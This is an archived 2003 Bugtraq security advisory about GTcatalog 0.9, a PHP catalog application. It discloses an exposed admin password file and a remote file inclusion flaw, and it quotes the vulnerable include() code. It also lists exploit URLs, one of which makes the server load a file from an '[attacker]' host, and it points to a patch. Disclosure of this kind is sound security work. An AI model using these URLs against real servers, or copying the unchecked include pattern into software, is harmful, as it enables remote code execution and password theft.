[29122] in bugtraq

home help back first fref pref prev next nref lref last post

GTcatalog (PHP)

daemon@ATHENA.MIT.EDU (Frog Man)
Mon Mar 3 13:04:56 2003

From: "Frog Man" <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com
Date: Mon, 03 Mar 2003 15:52:29 +0100
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Message-ID: <F6zCrxpPKjnkJher0wL000598fc@hotmail.com>



Informations :
°°°°°°°°°°°°°°
Version : 0.9
Website : http://www.geektweaked.com
Problem :
- Informations Disclosure (Admin Password)
- File Including



PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
password.inc :
<?
$globalpw = "[PASSWORD]";
?>


index.php :
------------------------------------------------------------------------
[...]
switch ($function)
{

case "custom":

$cc	= new Template();
	$cc->set_file("head",$dir_base.$dir_template."header.inc");
	$cc->set_var(array(                      		'clientcode' => $cfg_clientcode,
								'title' => $cfg_title." - ".$custom));
$cc->parse("output","head");
$cc->p("output");

include($custom.".custom.inc");
include ($dir_base.$dir_template."footer.inc");

break;
[...]
------------------------------------------------------------------------

Exploits :
°°°°°°°°°°
- http://[target]/password.inc
- http://[target]/index.php?function=custom&custom=http://[attacker]/1
with :
http://[attacker]/1.custom.inc


Patch :
°°°°°°°
A patch can be found on http://www.phpsecure.info (-> New Version !! :))


More Details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/GTcatalog.txt


frog-m@n




_________________________________________________________________
MSN Messenger : discutez en direct avec vos amis !  
http://messenger.fr.msn.be


home help back first fref pref prev next nref lref last post